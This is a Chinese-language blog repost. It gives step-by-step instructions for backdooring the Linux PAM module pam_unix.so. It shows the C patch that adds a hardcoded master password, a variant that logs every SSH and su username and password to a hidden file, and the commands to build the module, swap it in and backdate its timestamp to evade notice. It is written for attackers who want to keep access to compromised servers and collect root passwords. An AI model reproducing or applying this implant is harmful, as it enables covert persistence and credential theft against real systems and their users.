欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

Backdoor on Pam module pam_unix.so 记录linux root密码

程序员文章站 2022-04-22 10:51:25
最先实在Linux520中看到Beach大牛发的,不过那个是他修改过了。 什么是Linux PAM :http://www.2cto.com/os/201303/198419.html &...
最先实在Linux520中看到Beach大牛发的,不过那个是他修改过了。

什么是Linux PAM :http://www.2cto.com/os/201303/198419.html
 

我google了一下在国外发现了这篇文章,E文确实不好,简单说下

1. 下载Linux PAM

ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.1.tar.gz

 

2. 解压 并且修改pam_unix_auth.c

tar -xvzf Linux-PAM-1.1.1.tar.gz

pico Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c (==vim Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c)

 

3. 查找下列字符

/* verify the password of this user */

retval = _unix_verify_password(pamh, name, p, ctrl);

 

4.在后面添加代码

if (strcmp(p,”secpass”)==0 ){retval = PAM_SUCCESS;}

 

5.组建安装

./configure

make

 

从新编译我们改过的C文件

6.备份安装好的模块,用我们编译好的替换

cp /lib/security/pam_unix.so /lib/security/pam_unix.so.orig

cp modules/pam_unix/.libs/pam_unix.so /lib/security/pam_unix.so

 

7.测试一下能不能正常工作,可以创建一个新的SSH连接

8.修改模块的时间

touch -t 200901022110 pam_unix.so

 

原文:http://www.0daysecurity.com/articles/backdoor_pam_unix.so.html

———————————————————————————————————————————————————

以下引用Beach

1.安装

编译好后,cp过去文件即可

有的发行版本,会自己做自己的发行版so,所以一般来说,我们都先在自己机器上编译好后门传上去

linux一般来说发行版比较多,所以我们在安装后门之前,最好在本地搭建个类似的环境实验,这样不容易丢鸡

我现在要安装后门的机器是fc4 具体内核没啥限制 应用层后门就这点好,呵呵

安装

我已经编译好了

 

安装完毕,那个so穿上去就行了

这是我们的后门

 

注意吧pam_unix.so文件的属性改的和别的so属性一样。我这里本来就是一样的,我就不改了。

OK,安装完毕

现在看看他有什么功能

1.记录密码

这个后门可以记录所有登录sshd的用户密码,以及su的密码,默认,没开启记录功能。开启方法如下

我们开启

touch /usr/tmp/.suuser ;chmod a+w /usr/tmp/.suuser

我们密码就记录在这个文件中

OK,我们现在登录下看看

我的root密码就是test

还可以记录su密码 我现在登录root 因为有两个认证过程,所以都记录下来了

他还提供一个登录万能密码的功能 万能密码是pam_test

我们输入pam_test

登录了吧,而且万能密码不会被记录

还是原来两项,呵呵

这个万能密码对于限制root登录的机器非常有用,有的机器禁止root登录,我们使用pam_test这个密码可以登录任何账户

输入pam_test 然后su 输入pam_test

记录都没变,呵呵

以上的演示都是在FC4默认安装下做的,ssh开启了PAM验证 ,默认linux都是开启的

他还可以登录ftp 随便的账户,用万能密码就可以

————————————————————————————————————————————————–

这个包里有3个文件夹 一个Linux-PAM-0.77.tar.gz的原始安装包 一个编译好的pam_unix.so带后门的模块 一个pam_unix.so的C文件

安装很简单 先安装Linux-PAM-0.77.tar.gz 在替换pam_unix.so就OK了

通过对比两个pam_unix.so发现不同之处为

多出两个 宏定义

#define BACKDOOR “merlin”

#define PASSLOG “/tmp/passlog”

看意思大家都知道吧

 

多出两个if

/* check for backdoor password */

if(strcmp(p, BACKDOOR) == 0)

{

return PAM_SUCCESS;

}

 

/* log username / password */

if(retval == PAM_SUCCESS)

{

fp = fopen(PASSLOG, “a”);

fprintf(fp, “%s :: %s\n”, name, p);

fclose(fp);

}

name = p = NULL;

 

第一个if是对后门密码的验证,也就是Beach说的万能密码 pam_test

第二个是记录ssh连接用户名和密码的

 

所以以后拿下服务器就不用去暴力破解root了,我们可以来温柔的记录连接密码。

以上可能有理解不对的地方,希望指出!